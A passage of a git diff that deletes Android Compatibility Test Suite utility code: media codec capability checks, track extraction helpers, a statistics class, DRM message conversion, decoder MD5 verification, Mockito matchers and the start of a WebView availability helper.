-                + Arrays.toString(codecs), codecs.length <= count);
-    }
-
-    public static MediaCodec getDecoder(MediaFormat format) {
-        String decoder = sMCL.findDecoderForFormat(format);
-        if (decoder != null) {
-            try {
-                return MediaCodec.createByCodecName(decoder);
-            } catch (IOException e) {
-            }
-        }
-        return null;
-    }
-
-    public static boolean canEncode(MediaFormat format) {
-        if (sMCL.findEncoderForFormat(format) == null) {
-            Log.i(TAG, "no encoder for " + format);
-            return false;
-        }
-        return true;
-    }
-
-    public static boolean canDecode(MediaFormat format) {
-        if (sMCL.findDecoderForFormat(format) == null) {
-            Log.i(TAG, "no decoder for " + format);
-            return false;
-        }
-        return true;
-    }
-
-    public static boolean supports(String codecName, String mime, int w, int h) {
-        // While this could be simply written as such, give more graceful feedback.
-        // MediaFormat format = MediaFormat.createVideoFormat(mime, w, h);
-        // return supports(codecName, format);
-
-        VideoCapabilities vidCap = getVideoCapabilities(codecName, mime);
-        if (vidCap == null) {
-            return false;
-        } else if (vidCap.isSizeSupported(w, h)) {
-            return true;
-        }
-
-        Log.w(TAG, "unsupported size " + w + "x" + h);
-        return false;
-    }
-
-    public static boolean supports(String codecName, MediaFormat format) {
-        MediaCodec codec;
-        try {
-            codec = MediaCodec.createByCodecName(codecName);
-        } catch (IOException e) {
-            Log.w(TAG, "codec not found: " + codecName);
-            return false;
-        }
-
-        String mime = format.getString(MediaFormat.KEY_MIME);
-        CodecCapabilities cap = null;
-        try {
-            cap = codec.getCodecInfo().getCapabilitiesForType(mime);
-            return cap.isFormatSupported(format);
-        } catch (IllegalArgumentException e) {
-            Log.w(TAG, "not supported mime: " + mime);
-            return false;
-        } finally {
-            codec.release();
-        }
-    }
-
-    public static boolean hasCodecForTrack(MediaExtractor ex, int track) {
-        int count = ex.getTrackCount();
-        if (track < 0 || track >= count) {
-            throw new IndexOutOfBoundsException(track + " not in [0.." + (count - 1) + "]");
-        }
-        return canDecode(ex.getTrackFormat(track));
-    }
-
-    /**
-     * return true iff all audio and video tracks are supported
-     */
-    public static boolean hasCodecsForMedia(MediaExtractor ex) {
-        for (int i = 0; i < ex.getTrackCount(); ++i) {
-            MediaFormat format = ex.getTrackFormat(i);
-            // only check for audio and video codecs
-            String mime = format.getString(MediaFormat.KEY_MIME).toLowerCase();
-            if (!mime.startsWith("audio/") && !mime.startsWith("video/")) {
-                continue;
-            }
-            if (!canDecode(format)) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    /**
-     * return true iff any track starting with mimePrefix is supported
-     */
-    public static boolean hasCodecForMediaAndDomain(MediaExtractor ex, String mimePrefix) {
-        mimePrefix = mimePrefix.toLowerCase();
-        for (int i = 0; i < ex.getTrackCount(); ++i) {
-            MediaFormat format = ex.getTrackFormat(i);
-            String mime = format.getString(MediaFormat.KEY_MIME);
-            if (mime.toLowerCase().startsWith(mimePrefix)) {
-                if (canDecode(format)) {
-                    return true;
-                }
-                Log.i(TAG, "no decoder for " + format);
-            }
-        }
-        return false;
-    }
-
-    private static boolean hasCodecsForResourceCombo(
-            Context context, int resourceId, int track, String mimePrefix) {
-        try {
-            AssetFileDescriptor afd = null;
-            MediaExtractor ex = null;
-            try {
-                afd = context.getResources().openRawResourceFd(resourceId);
-                ex = new MediaExtractor();
-                ex.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-                if (mimePrefix != null) {
-                    return hasCodecForMediaAndDomain(ex, mimePrefix);
-                } else if (track == ALL_AV_TRACKS) {
-                    return hasCodecsForMedia(ex);
-                } else {
-                    return hasCodecForTrack(ex, track);
-                }
-            } finally {
-                if (ex != null) {
-                    ex.release();
-                }
-                if (afd != null) {
-                    afd.close();
-                }
-            }
-        } catch (IOException e) {
-            Log.i(TAG, "could not open resource");
-        }
-        return false;
-    }
-
-    /**
-     * return true iff all audio and video tracks are supported
-     */
-    public static boolean hasCodecsForResource(Context context, int resourceId) {
-        return hasCodecsForResourceCombo(context, resourceId, ALL_AV_TRACKS, null /* mimePrefix */);
-    }
-
-    public static boolean checkCodecsForResource(Context context, int resourceId) {
-        return check(hasCodecsForResource(context, resourceId), "no decoder found");
-    }
-
-    /**
-     * return true iff track is supported.
-     */
-    public static boolean hasCodecForResource(Context context, int resourceId, int track) {
-        return hasCodecsForResourceCombo(context, resourceId, track, null /* mimePrefix */);
-    }
-
-    public static boolean checkCodecForResource(Context context, int resourceId, int track) {
-        return check(hasCodecForResource(context, resourceId, track), "no decoder found");
-    }
-
-    /**
-     * return true iff any track starting with mimePrefix is supported
-     */
-    public static boolean hasCodecForResourceAndDomain(
-            Context context, int resourceId, String mimePrefix) {
-        return hasCodecsForResourceCombo(context, resourceId, ALL_AV_TRACKS, mimePrefix);
-    }
-
-    /**
-     * return true iff all audio and video tracks are supported
-     */
-    public static boolean hasCodecsForPath(Context context, String path) {
-        MediaExtractor ex = null;
-        try {
-            ex = getExtractorForPath(context, path);
-            return hasCodecsForMedia(ex);
-        } catch (IOException e) {
-            Log.i(TAG, "could not open path " + path);
-        } finally {
-            if (ex != null) {
-                ex.release();
-            }
-        }
-        return true;
-    }
-
-    private static MediaExtractor getExtractorForPath(Context context, String path)
-            throws IOException {
-        Uri uri = Uri.parse(path);
-        String scheme = uri.getScheme();
-        MediaExtractor ex = new MediaExtractor();
-        try {
-            if (scheme == null) { // file
-                ex.setDataSource(path);
-            } else if (scheme.equalsIgnoreCase("file")) {
-                ex.setDataSource(uri.getPath());
-            } else {
-                ex.setDataSource(context, uri, null);
-            }
-        } catch (IOException e) {
-            ex.release();
-            throw e;
-        }
-        return ex;
-    }
-
-    public static boolean checkCodecsForPath(Context context, String path) {
-        return check(hasCodecsForPath(context, path), "no decoder found");
-    }
-
-    public static boolean hasCodecForDomain(boolean encoder, String domain) {
-        for (MediaCodecInfo info : sMCL.getCodecInfos()) {
-            if (encoder != info.isEncoder()) {
-                continue;
-            }
-
-            for (String type : info.getSupportedTypes()) {
-                if (type.toLowerCase().startsWith(domain.toLowerCase() + "/")) {
-                    Log.i(TAG, "found codec " + info.getName() + " for mime " + type);
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    public static boolean checkCodecForDomain(boolean encoder, String domain) {
-        return check(hasCodecForDomain(encoder, domain),
-                "no " + domain + (encoder ? " encoder" : " decoder") + " found");
-    }
-
-    private static boolean hasCodecForMime(boolean encoder, String mime) {
-        for (MediaCodecInfo info : sMCL.getCodecInfos()) {
-            if (encoder != info.isEncoder()) {
-                continue;
-            }
-
-            for (String type : info.getSupportedTypes()) {
-                if (type.equalsIgnoreCase(mime)) {
-                    Log.i(TAG, "found codec " + info.getName() + " for mime " + mime);
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    private static boolean hasCodecForMimes(boolean encoder, String[] mimes) {
-        for (String mime : mimes) {
-            if (!hasCodecForMime(encoder, mime)) {
-                Log.i(TAG, "no " + (encoder ? "encoder" : "decoder") + " for mime " + mime);
-                return false;
-            }
-        }
-        return true;
-    }
-
-
-    public static boolean hasEncoder(String... mimes) {
-        return hasCodecForMimes(true /* encoder */, mimes);
-    }
-
-    public static boolean hasDecoder(String... mimes) {
-        return hasCodecForMimes(false /* encoder */, mimes);
-    }
-
-    public static boolean checkDecoder(String... mimes) {
-        return check(hasCodecForMimes(false /* encoder */, mimes), "no decoder found");
-    }
-
-    public static boolean checkEncoder(String... mimes) {
-        return check(hasCodecForMimes(true /* encoder */, mimes), "no encoder found");
-    }
-
-    public static boolean canDecodeVideo(String mime, int width, int height, float rate) {
-        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
-        format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
-        return canDecode(format);
-    }
-
-    public static boolean canDecodeVideo(
-            String mime, int width, int height, float rate,
-            Integer profile, Integer level, Integer bitrate) {
-        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
-        format.setFloat(MediaFormat.KEY_FRAME_RATE, rate);
-        if (profile != null) {
-            format.setInteger(MediaFormat.KEY_PROFILE, profile);
-            if (level != null) {
-                format.setInteger(MediaFormat.KEY_LEVEL, level);
-            }
-        }
-        if (bitrate != null) {
-            format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-        }
-        return canDecode(format);
-    }
-
-    public static boolean checkEncoderForFormat(MediaFormat format) {
-        return check(canEncode(format), "no encoder for " + format);
-    }
-
-    public static boolean checkDecoderForFormat(MediaFormat format) {
-        return check(canDecode(format), "no decoder for " + format);
-    }
-
-    /*
-     *  ----------------------- HELPER METHODS FOR MEDIA HANDLING -----------------------
-     */
-
-    public static VideoCapabilities getVideoCapabilities(String codecName, String mime) {
-        for (MediaCodecInfo info : sMCL.getCodecInfos()) {
-            if (!info.getName().equalsIgnoreCase(codecName)) {
-                continue;
-            }
-            CodecCapabilities caps;
-            try {
-                caps = info.getCapabilitiesForType(mime);
-            } catch (IllegalArgumentException e) {
-                // mime is not supported
-                Log.w(TAG, "not supported mime: " + mime);
-                return null;
-            }
-            VideoCapabilities vidCaps = caps.getVideoCapabilities();
-            if (vidCaps == null) {
-                Log.w(TAG, "not a video codec: " + codecName);
-            }
-            return vidCaps;
-        }
-        Log.w(TAG, "codec not found: " + codecName);
-        return null;
-    }
-
-    public static MediaFormat getTrackFormatForResource(
-            Context context,
-            int resourceId,
-            String mimeTypePrefix) throws IOException {
-        MediaExtractor extractor = new MediaExtractor();
-        AssetFileDescriptor afd = context.getResources().openRawResourceFd(resourceId);
-        try {
-            extractor.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-        } finally {
-            afd.close();
-        }
-        return getTrackFormatForExtractor(extractor, mimeTypePrefix);
-    }
-
-    public static MediaFormat getTrackFormatForPath(
-            Context context, String path, String mimeTypePrefix)
-            throws IOException {
-      MediaExtractor extractor = getExtractorForPath(context, path);
-      return getTrackFormatForExtractor(extractor, mimeTypePrefix);
-    }
-
-    private static MediaFormat getTrackFormatForExtractor(
-            MediaExtractor extractor,
-            String mimeTypePrefix) {
-      int trackIndex;
-      MediaFormat format = null;
-      for (trackIndex = 0; trackIndex < extractor.getTrackCount(); trackIndex++) {
-          MediaFormat trackMediaFormat = extractor.getTrackFormat(trackIndex);
-          if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
-              format = trackMediaFormat;
-              break;
-          }
-      }
-      extractor.release();
-      if (format == null) {
-          throw new RuntimeException("couldn't get a track for " + mimeTypePrefix);
-      }
-
-      return format;
-    }
-
-    public static MediaExtractor createMediaExtractorForMimeType(
-            Context context, int resourceId, String mimeTypePrefix)
-            throws IOException {
-        MediaExtractor extractor = new MediaExtractor();
-        AssetFileDescriptor afd = context.getResources().openRawResourceFd(resourceId);
-        try {
-            extractor.setDataSource(
-                    afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
-        } finally {
-            afd.close();
-        }
-        int trackIndex;
-        for (trackIndex = 0; trackIndex < extractor.getTrackCount(); trackIndex++) {
-            MediaFormat trackMediaFormat = extractor.getTrackFormat(trackIndex);
-            if (trackMediaFormat.getString(MediaFormat.KEY_MIME).startsWith(mimeTypePrefix)) {
-                extractor.selectTrack(trackIndex);
-                break;
-            }
-        }
-        if (trackIndex == extractor.getTrackCount()) {
-            extractor.release();
-            throw new IllegalStateException("couldn't get a track for " + mimeTypePrefix);
-        }
-
-        return extractor;
-    }
-
-    /*
-     *  ---------------------- HELPER METHODS FOR CODEC CONFIGURATION
-     */
-
-    /** Format must contain mime, width and height.
-     *  Throws Exception if encoder does not support this width and height */
-    public static void setMaxEncoderFrameAndBitrates(
-            MediaCodec encoder, MediaFormat format, int maxFps) {
-        String mime = format.getString(MediaFormat.KEY_MIME);
-
-        VideoCapabilities vidCaps =
-            encoder.getCodecInfo().getCapabilitiesForType(mime).getVideoCapabilities();
-        setMaxEncoderFrameAndBitrates(vidCaps, format, maxFps);
-    }
-
-    public static void setMaxEncoderFrameAndBitrates(
-            VideoCapabilities vidCaps, MediaFormat format, int maxFps) {
-        int width = format.getInteger(MediaFormat.KEY_WIDTH);
-        int height = format.getInteger(MediaFormat.KEY_HEIGHT);
-
-        int maxWidth = vidCaps.getSupportedWidths().getUpper();
-        int maxHeight = vidCaps.getSupportedHeightsFor(maxWidth).getUpper();
-        int frameRate = Math.min(
-                maxFps, vidCaps.getSupportedFrameRatesFor(width, height).getUpper().intValue());
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, frameRate);
-
-        int bitrate = vidCaps.getBitrateRange().clamp(
-            (int)(vidCaps.getBitrateRange().getUpper() /
-                  Math.sqrt((double)maxWidth * maxHeight / width / height)));
-        format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-    }
-
-    /*
-     *  ------------------ HELPER METHODS FOR STATISTICS AND REPORTING ------------------
-     */
-
-    // TODO: migrate this into com.android.compatibility.common.util.Stat
-    public static class Stats {
-        /** does not support NaN or Inf in |data| */
-        public Stats(double[] data) {
-            mData = data;
-            if (mData != null) {
-                mNum = mData.length;
-            }
-        }
-
-        public int getNum() {
-            return mNum;
-        }
-
-        /** calculate mSumX and mSumXX */
-        private void analyze() {
-            if (mAnalyzed) {
-                return;
-            }
-
-            if (mData != null) {
-                for (double x : mData) {
-                    if (!(x >= mMinX)) { // mMinX may be NaN
-                        mMinX = x;
-                    }
-                    if (!(x <= mMaxX)) { // mMaxX may be NaN
-                        mMaxX = x;
-                    }
-                    mSumX += x;
-                    mSumXX += x * x;
-                }
-            }
-            mAnalyzed = true;
-        }
-
-        /** returns the maximum or NaN if it does not exist */
-        public double getMin() {
-            analyze();
-            return mMinX;
-        }
-
-        /** returns the minimum or NaN if it does not exist */
-        public double getMax() {
-            analyze();
-            return mMaxX;
-        }
-
-        /** returns the average or NaN if it does not exist. */
-        public double getAverage() {
-            analyze();
-            if (mNum == 0) {
-                return Double.NaN;
-            } else {
-                return mSumX / mNum;
-            }
-        }
-
-        /** returns the standard deviation or NaN if it does not exist. */
-        public double getStdev() {
-            analyze();
-            if (mNum == 0) {
-                return Double.NaN;
-            } else {
-                double average = mSumX / mNum;
-                return Math.sqrt(mSumXX / mNum - average * average);
-            }
-        }
-
-        /** returns the statistics for the moving average over n values */
-        public Stats movingAverage(int n) {
-            if (n < 1 || mNum < n) {
-                return new Stats(null);
-            } else if (n == 1) {
-                return this;
-            }
-
-            double[] avgs = new double[mNum - n + 1];
-            double sum = 0;
-            for (int i = 0; i < mNum; ++i) {
-                sum += mData[i];
-                if (i >= n - 1) {
-                    avgs[i - n + 1] = sum / n;
-                    sum -= mData[i - n + 1];
-                }
-            }
-            return new Stats(avgs);
-        }
-
-        /** returns the statistics for the moving average over a window over the
-         *  cumulative sum. Basically, moves a window from: [0, window] to
-         *  [sum - window, sum] over the cumulative sum, over ((sum - window) / average)
-         *  steps, and returns the average value over each window.
-         *  This method is used to average time-diff data over a window of a constant time.
-         */
-        public Stats movingAverageOverSum(double window) {
-            if (window <= 0 || mNum < 1) {
-                return new Stats(null);
-            }
-
-            analyze();
-            double average = mSumX / mNum;
-            if (window >= mSumX) {
-                return new Stats(new double[] { average });
-            }
-            int samples = (int)Math.ceil((mSumX - window) / average);
-            double[] avgs = new double[samples];
-
-            // A somewhat brute force approach to calculating the moving average.
-            // TODO: add support for weights in Stats, so we can do a more refined approach.
-            double sum = 0; // sum of elements in the window
-            int num = 0; // number of elements in the moving window
-            int bi = 0; // index of the first element in the moving window
-            int ei = 0; // index of the last element in the moving window
-            double space = window; // space at the end of the window
-            double foot = 0; // space at the beginning of the window
-
-            // invariants: foot + sum + space == window
-            //             bi + num == ei
-            //
-            //  window:             |-------------------------------|
-            //                      |    <-----sum------>           |
-            //                      <foot>               <---space-->
-            //                           |               |
-            //  intervals:   |-----------|-------|-------|--------------------|--------|
-            //                           ^bi             ^ei
-
-            int ix = 0; // index in the result
-            while (ix < samples) {
-                // add intervals while there is space in the window
-                while (ei < mData.length && mData[ei] <= space) {
-                    space -= mData[ei];
-                    sum += mData[ei];
-                    num++;
-                    ei++;
-                }
-
-                // calculate average over window and deal with odds and ends (e.g. if there are no
-                // intervals in the current window: pick whichever element overlaps the window
-                // most.
-                if (num > 0) {
-                    avgs[ix++] = sum / num;
-                } else if (bi > 0 && foot > space) {
-                    // consider previous
-                    avgs[ix++] = mData[bi - 1];
-                } else if (ei == mData.length) {
-                    break;
-                } else {
-                    avgs[ix++] = mData[ei];
-                }
-
-                // move the window to the next position
-                foot -= average;
-                space += average;
-
-                // remove intervals that are now partially or wholly outside of the window
-                while (bi < ei && foot < 0) {
-                    foot += mData[bi];
-                    sum -= mData[bi];
-                    num--;
-                    bi++;
-                }
-            }
-            return new Stats(Arrays.copyOf(avgs, ix));
-        }
-
-        /** calculate mSortedData */
-        private void sort() {
-            if (mSorted || mNum == 0) {
-                return;
-            }
-            mSortedData = Arrays.copyOf(mData, mNum);
-            Arrays.sort(mSortedData);
-            mSorted = true;
-        }
-
-        /** returns an array of percentiles for the points using nearest rank */
-        public double[] getPercentiles(double... points) {
-            sort();
-            double[] res = new double[points.length];
-            for (int i = 0; i < points.length; ++i) {
-                if (mNum < 1 || points[i] < 0 || points[i] > 100) {
-                    res[i] = Double.NaN;
-                } else {
-                    res[i] = mSortedData[(int)Math.round(points[i] / 100 * (mNum - 1))];
-                }
-            }
-            return res;
-        }
-
-        @Override
-        public boolean equals(Object o) {
-            if (o instanceof Stats) {
-                Stats other = (Stats)o;
-                if (other.mNum != mNum) {
-                    return false;
-                } else if (mNum == 0) {
-                    return true;
-                }
-                return Arrays.equals(mData, other.mData);
-            }
-            return false;
-        }
-
-        private double[] mData;
-        private double mSumX = 0;
-        private double mSumXX = 0;
-        private double mMinX = Double.NaN;
-        private double mMaxX = Double.NaN;
-        private int mNum = 0;
-        private boolean mAnalyzed = false;
-        private double[] mSortedData;
-        private boolean mSorted = false;
-    }
-
-    /**
-     * Convert a forward lock .dm message stream to a .fl file
-     * @param context Context to use
-     * @param dmStream The .dm message
-     * @param flFile The output file to be written
-     * @return success
-     */
-    public static boolean convertDmToFl(
-            Context context,
-            InputStream dmStream,
-            RandomAccessFile flFile) {
-        final String MIMETYPE_DRM_MESSAGE = "application/vnd.oma.drm.message";
-        byte[] dmData = new byte[10000];
-        int totalRead = 0;
-        int numRead;
-        while (true) {
-            try {
-                numRead = dmStream.read(dmData, totalRead, dmData.length - totalRead);
-            } catch (IOException e) {
-                Log.w(TAG, "Failed to read from input file");
-                return false;
-            }
-            if (numRead == -1) {
-                break;
-            }
-            totalRead += numRead;
-            if (totalRead == dmData.length) {
-                // grow array
-                dmData = Arrays.copyOf(dmData, dmData.length + 10000);
-            }
-        }
-        byte[] fileData = Arrays.copyOf(dmData, totalRead);
-
-        DrmManagerClient drmClient = null;
-        try {
-            drmClient = new DrmManagerClient(context);
-        } catch (IllegalArgumentException e) {
-            Log.w(TAG, "DrmManagerClient instance could not be created, context is Illegal.");
-            return false;
-        } catch (IllegalStateException e) {
-            Log.w(TAG, "DrmManagerClient didn't initialize properly.");
-            return false;
-        }
-
-        try {
-            int convertSessionId = -1;
-            try {
-                convertSessionId = drmClient.openConvertSession(MIMETYPE_DRM_MESSAGE);
-            } catch (IllegalArgumentException e) {
-                Log.w(TAG, "Conversion of Mimetype: " + MIMETYPE_DRM_MESSAGE
-                        + " is not supported.", e);
-                return false;
-            } catch (IllegalStateException e) {
-                Log.w(TAG, "Could not access Open DrmFramework.", e);
-                return false;
-            }
-
-            if (convertSessionId < 0) {
-                Log.w(TAG, "Failed to open session.");
-                return false;
-            }
-
-            DrmConvertedStatus convertedStatus = null;
-            try {
-                convertedStatus = drmClient.convertData(convertSessionId, fileData);
-            } catch (IllegalArgumentException e) {
-                Log.w(TAG, "Buffer with data to convert is illegal. Convertsession: "
-                        + convertSessionId, e);
-                return false;
-            } catch (IllegalStateException e) {
-                Log.w(TAG, "Could not convert data. Convertsession: " + convertSessionId, e);
-                return false;
-            }
-
-            if (convertedStatus == null ||
-                    convertedStatus.statusCode != DrmConvertedStatus.STATUS_OK ||
-                    convertedStatus.convertedData == null) {
-                Log.w(TAG, "Error in converting data. Convertsession: " + convertSessionId);
-                try {
-                    DrmConvertedStatus result = drmClient.closeConvertSession(convertSessionId);
-                    if (result.statusCode != DrmConvertedStatus.STATUS_OK) {
-                        Log.w(TAG, "Conversion failed with status: " + result.statusCode);
-                        return false;
-                    }
-                } catch (IllegalStateException e) {
-                    Log.w(TAG, "Could not close session. Convertsession: " +
-                           convertSessionId, e);
-                }
-                return false;
-            }
-
-            try {
-                flFile.write(convertedStatus.convertedData, 0, convertedStatus.convertedData.length);
-            } catch (IOException e) {
-                Log.w(TAG, "Failed to write to output file: " + e);
-                return false;
-            }
-
-            try {
-                convertedStatus = drmClient.closeConvertSession(convertSessionId);
-            } catch (IllegalStateException e) {
-                Log.w(TAG, "Could not close convertsession. Convertsession: " +
-                        convertSessionId, e);
-                return false;
-            }
-
-            if (convertedStatus == null ||
-                    convertedStatus.statusCode != DrmConvertedStatus.STATUS_OK ||
-                    convertedStatus.convertedData == null) {
-                Log.w(TAG, "Error in closing session. Convertsession: " + convertSessionId);
-                return false;
-            }
-
-            try {
-                flFile.seek(convertedStatus.offset);
-                flFile.write(convertedStatus.convertedData);
-            } catch (IOException e) {
-                Log.w(TAG, "Could not update file.", e);
-                return false;
-            }
-
-            return true;
-        } finally {
-            drmClient.close();
-        }
-    }
-
-    /**
-     * @param decoder new MediaCodec object
-     * @param ex MediaExtractor after setDataSource and selectTrack
-     * @param frameMD5Sums reference MD5 checksum for decoded frames
-     * @return true if decoded frames checksums matches reference checksums
-     * @throws IOException
-     */
-    public static boolean verifyDecoder(
-            MediaCodec decoder, MediaExtractor ex, List<String> frameMD5Sums)
-            throws IOException {
-
-        int trackIndex = ex.getSampleTrackIndex();
-        MediaFormat format = ex.getTrackFormat(trackIndex);
-        decoder.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
-        decoder.start();
-
-        boolean sawInputEOS = false;
-        boolean sawOutputEOS = false;
-        final long kTimeOutUs = 5000; // 5ms timeout
-        int decodedFrameCount = 0;
-        int expectedFrameCount = frameMD5Sums.size();
-        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-
-        while (!sawOutputEOS) {
-            // handle input
-            if (!sawInputEOS) {
-                int inIdx = decoder.dequeueInputBuffer(kTimeOutUs);
-                if (inIdx >= 0) {
-                    ByteBuffer buffer = decoder.getInputBuffer(inIdx);
-                    int sampleSize = ex.readSampleData(buffer, 0);
-                    if (sampleSize < 0) {
-                        final int flagEOS = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
-                        decoder.queueInputBuffer(inIdx, 0, 0, 0, flagEOS);
-                        sawInputEOS = true;
-                    } else {
-                        decoder.queueInputBuffer(inIdx, 0, sampleSize, ex.getSampleTime(), 0);
-                        ex.advance();
-                    }
-                }
-            }
-
-            // handle output
-            int outputBufIndex = decoder.dequeueOutputBuffer(info, kTimeOutUs);
-            if (outputBufIndex >= 0) {
-                try {
-                    if (info.size > 0) {
-                        // Disregard 0-sized buffers at the end.
-                        String md5CheckSum = "";
-                        Image image = decoder.getOutputImage(outputBufIndex);
-                        md5CheckSum = getImageMD5Checksum(image);
-
-                        if (!md5CheckSum.equals(frameMD5Sums.get(decodedFrameCount))) {
-                            Log.d(TAG,
-                                    String.format(
-                                            "Frame %d md5sum mismatch: %s(actual) vs %s(expected)",
-                                            decodedFrameCount, md5CheckSum,
-                                            frameMD5Sums.get(decodedFrameCount)));
-                            return false;
-                        }
-
-                        decodedFrameCount++;
-                    }
-                } catch (Exception e) {
-                    Log.e(TAG, "getOutputImage md5CheckSum failed", e);
-                    return false;
-                } finally {
-                    decoder.releaseOutputBuffer(outputBufIndex, false /* render */);
-                }
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    sawOutputEOS = true;
-                }
-            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                MediaFormat decOutputFormat = decoder.getOutputFormat();
-                Log.d(TAG, "output format " + decOutputFormat);
-            } else if (outputBufIndex == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                Log.i(TAG, "Skip handling MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED");
-            } else if (outputBufIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
-                continue;
-            } else {
-                Log.w(TAG, "decoder.dequeueOutputBuffer() unrecognized index: " + outputBufIndex);
-                return false;
-            }
-        }
-
-        if (decodedFrameCount != expectedFrameCount) {
-            return false;
-        }
-
-        return true;
-    }
-
-    public static String getImageMD5Checksum(Image image) throws Exception {
-        int format = image.getFormat();
-        if (ImageFormat.YUV_420_888 != format) {
-            Log.w(TAG, "unsupported image format");
-            return "";
-        }
-
-        MessageDigest md = MessageDigest.getInstance("MD5");
-
-        Rect crop = image.getCropRect();
-        int cropLeft = crop.left;
-        int cropRight = crop.right;
-        int cropTop = crop.top;
-        int cropBottom = crop.bottom;
-
-        int imageWidth = cropRight - cropLeft;
-        int imageHeight = cropBottom - cropTop;
-
-        Image.Plane[] planes = image.getPlanes();
-        for (int i = 0; i < planes.length; ++i) {
-            ByteBuffer buf = planes[i].getBuffer();
-
-            int width, height, rowStride, pixelStride, x, y, top, left;
-            rowStride = planes[i].getRowStride();
-            pixelStride = planes[i].getPixelStride();
-            if (i == 0) {
-                width = imageWidth;
-                height = imageHeight;
-                left = cropLeft;
-                top = cropTop;
-            } else {
-                width = imageWidth / 2;
-                height = imageHeight /2;
-                left = cropLeft / 2;
-                top = cropTop / 2;
-            }
-            // local contiguous pixel buffer
-            byte[] bb = new byte[width * height];
-            if (buf.hasArray()) {
-                byte b[] = buf.array();
-                int offs = buf.arrayOffset() + left * pixelStride;
-                if (pixelStride == 1) {
-                    for (y = 0; y < height; ++y) {
-                        System.arraycopy(bb, y * width, b, (top + y) * rowStride + offs, width);
-                    }
-                } else {
-                    // do it pixel-by-pixel
-                    for (y = 0; y < height; ++y) {
-                        int lineOffset = offs + (top + y) * rowStride;
-                        for (x = 0; x < width; ++x) {
-                            bb[y * width + x] = b[lineOffset + x * pixelStride];
-                        }
-                    }
-                }
-            } else { // almost always ends up here due to direct buffers
-                int pos = buf.position();
-                if (pixelStride == 1) {
-                    for (y = 0; y < height; ++y) {
-                        buf.position(pos + left + (top + y) * rowStride);
-                        buf.get(bb, y * width, width);
-                    }
-                } else {
-                    // local line buffer
-                    byte[] lb = new byte[rowStride];
-                    // do it pixel-by-pixel
-                    for (y = 0; y < height; ++y) {
-                        buf.position(pos + left * pixelStride + (top + y) * rowStride);
-                        // we're only guaranteed to have pixelStride * (width - 1) + 1 bytes
-                        buf.get(lb, 0, pixelStride * (width - 1) + 1);
-                        for (x = 0; x < width; ++x) {
-                            bb[y * width + x] = lb[x * pixelStride];
-                        }
-                    }
-                }
-                buf.position(pos);
-            }
-            md.update(bb, 0, width * height);
-        }
-
-        return convertByteArrayToHEXString(md.digest());
-    }
-
-    private static String convertByteArrayToHEXString(byte[] ba) throws Exception {
-        StringBuilder result = new StringBuilder();
-        for (int i = 0; i < ba.length; i++) {
-            result.append(Integer.toString((ba[i] & 0xff) + 0x100, 16).substring(1));
-        }
-        return result.toString();
-    }
-
-
-    /*
-     *  -------------------------------------- END --------------------------------------
-     */
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/MoreMatchers.java b/common/device-side/util/src/com/android/compatibility/common/util/MoreMatchers.java
deleted file mode 100644
index cee610e..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/MoreMatchers.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import org.mockito.ArgumentMatchers;
-
-public class MoreMatchers {
-    private MoreMatchers() {
-    }
-
-    public static <T> T anyOrNull(Class<T> clazz) {
-        return ArgumentMatchers.argThat(value -> true);
-    }
-
-    public static String anyStringOrNull() {
-        return ArgumentMatchers.argThat(value -> true);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/NullWebViewUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/NullWebViewUtils.java
deleted file mode 100644
index 3153adb..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/NullWebViewUtils.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-
-/**
- * Utilities to enable the android.webkit.* CTS tests (and others that rely on a functioning
- * android.webkit.WebView implementation) to determine whether a functioning WebView is present
- * on the device or not.
- *
- * Test cases that require android.webkit.* classes should wrap their first usage of WebView in a
- * try catch block, and pass any exception that is thrown to
- * NullWebViewUtils.determineIfWebViewAvailable. The return value of
- * NullWebViewUtils.isWebViewAvailable will then determine if the test should expect to be able to
- * use a WebView.
- */
-public class NullWebViewUtils {
-
